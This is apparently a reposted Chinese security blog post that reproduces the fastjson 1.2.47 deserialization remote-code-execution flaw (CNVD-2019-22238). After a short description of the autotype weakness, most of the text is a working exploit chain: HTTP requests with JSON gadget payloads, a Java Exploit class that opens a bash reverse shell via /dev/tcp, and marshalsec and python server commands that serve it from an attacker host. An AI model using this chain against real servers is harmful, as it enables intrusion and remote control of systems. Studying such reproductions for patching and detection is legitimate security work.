CNVD-2019-22238 fastjson 1.2.47 RCE

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CNVD-2019-22238 fastjson 1.2.47 RCE

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

 fastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。

    1.2.47漏洞是因为Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

图片[1]-CNVD-2019-22238 fastjson 1.2.47 RCE-渗透云记 - 专注于网络安全与技术分享

0x03 漏洞复现

漏洞版本:

1.执行poc访问Dnslog服务,发现可出网

POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 182

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://habdsj.dnslog.cn","autoCommit":true}}}
图片[2]-CNVD-2019-22238 fastjson 1.2.47 RCE-渗透云记 - 专注于网络安全与技术分享

2. 那么可以尝试反弹shell,首先编译exp文件为class文件(根据自己NC监听的VPS和端口设置ip/port)


exp文件:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}
编译:
javac Exploit.java

3. 使用python在Exploit.class目录开启http服务

python3 -m http.server 8888

4. 使用marshalsec开启一个rmi服务为9999端口,去访问并执行python开启的http服务中Exploit.class脚本文件


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://pythonhttp:8888/#Exploit" 9999

5.执行exp,得到一个shell


POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 192

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://VPSRMI的IP:9999/Exploit","autoCommit":true}}}

6. burpsuite插件被动fastjson检测

http://github.com/Maskhe/FastjsonScan
图片[3]-CNVD-2019-22238 fastjson 1.2.47 RCE-渗透云记 - 专注于网络安全与技术分享
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容